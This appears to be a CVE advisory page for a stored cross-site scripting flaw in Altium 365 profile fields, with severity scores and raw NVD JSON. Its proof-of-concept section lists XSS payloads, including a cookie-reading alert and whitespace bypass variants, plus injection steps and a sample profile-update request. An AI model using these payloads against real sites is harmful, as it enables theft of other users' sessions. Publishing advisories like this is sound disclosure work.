Security Vulnerability Report
中文
CVE-2026-1008 CVSS 7.6 HIGH

CVE-2026-1008

Published: 2026-01-15 23:15:51
Last Modified: 2026-01-23 19:34:53
Source: 4760f414-e1ae-4ff1-bdad-c7a9c3538b79

Description

A stored cross-site scripting (XSS) vulnerability exists in the user profile text fields of Altium 365. Insufficient server-side input sanitization allows authenticated users to inject arbitrary HTML and JavaScript payloads using whitespace-based attribute parsing bypass techniques. The injected payload is persisted and executed when other users view the affected profile page, potentially allowing session token theft, phishing attacks, or malicious redirects. Exploitation requires an authenticated account and user interaction to view the crafted profile.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:altium:altium_live:1.2.2:*:*:*:*:*:*:* - VULNERABLE
Altium 365 所有版本(具体版本需查阅官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-1008 PoC - Altium 365 Stored XSS // Target: Altium 365 user profile text fields // Technique: Whitespace-based attribute parsing bypass // XSS payload using whitespace bypass technique const xssPayload = `<img src="x" onerror="javascript:alert(document.cookie)" />`; // Alternative payload with various bypass techniques const altPayload = `<svg/onload=alert('XSS')>`; // Whitespace-based bypass example const whitespaceBypass = `<img/src="x"\x09onerror=alert(1)>`; // Exploitation steps: // 1. Authenticate to Altium 365 with valid low-privilege account // 2. Navigate to user profile settings // 3. Inject XSS payload into profile text fields (e.g., display name, bio, etc.) // 4. Save the profile changes // 5. When other users view the affected profile, the XSS payload will execute // Example HTTP request structure: const exploitRequest = { method: 'POST', path: '/api/user/profile', body: { displayName: xssPayload, bio: 'Malicious profile description', // other profile fields... } }; console.log('CVE-2026-1008 PoC for Altium 365 Stored XSS'); console.log('Payload:', xssPayload);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1008", "sourceIdentifier": "4760f414-e1ae-4ff1-bdad-c7a9c3538b79", "published": "2026-01-15T23:15:50.970", "lastModified": "2026-01-23T19:34:53.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability exists in the user profile text fields of Altium 365. Insufficient server-side input sanitization allows authenticated users to inject arbitrary HTML and JavaScript payloads using whitespace-based attribute parsing bypass techniques.\nThe injected payload is persisted and executed when other users view the affected profile page, potentially allowing session token theft, phishing attacks, or malicious redirects. Exploitation requires an authenticated account and user interaction to view the crafted profile."}, {"lang": "es", "value": "Existe una vulnerabilidad de cross-site scripting (XSS) almacenado en los campos de texto del perfil de usuario de Altium 365. Una sanitización de entrada insuficiente por parte del servidor permite a los usuarios autenticados inyectar cargas útiles arbitrarias de HTML y JavaScript utilizando técnicas de omisión de análisis de atributos basadas en espacios en blanco.\nLa carga útil inyectada se persiste y se ejecuta cuando otros usuarios ven la página de perfil afectada, lo que podría permitir el robo de tokens de sesión, ataques de phishing o redirecciones maliciosas. La explotación requiere una cuenta autenticada e interacción del usuario para ver el perfil manipulado."}], "metrics": {"cvssMetricV31": [{"source": "4760f414-e1ae-4ff1-bdad-c7a9c3538b79", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "4760f414-e1ae-4ff1-bdad-c7a9c3538b79", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:altium:altium_live:1.2.2:*:*:*:*:*:*:*", "matchCriteriaId": "E75C3257-AC40-4BC5-BEBA-492D4DECCFC1"}]}]}], "references": [{"url": "https://www.altium.com/platform/security-compliance/security-advisories", "source": "4760f414-e1ae-4ff1-bdad-c7a9c3538b79", "tags": ["Vendor Advisory"]}]}}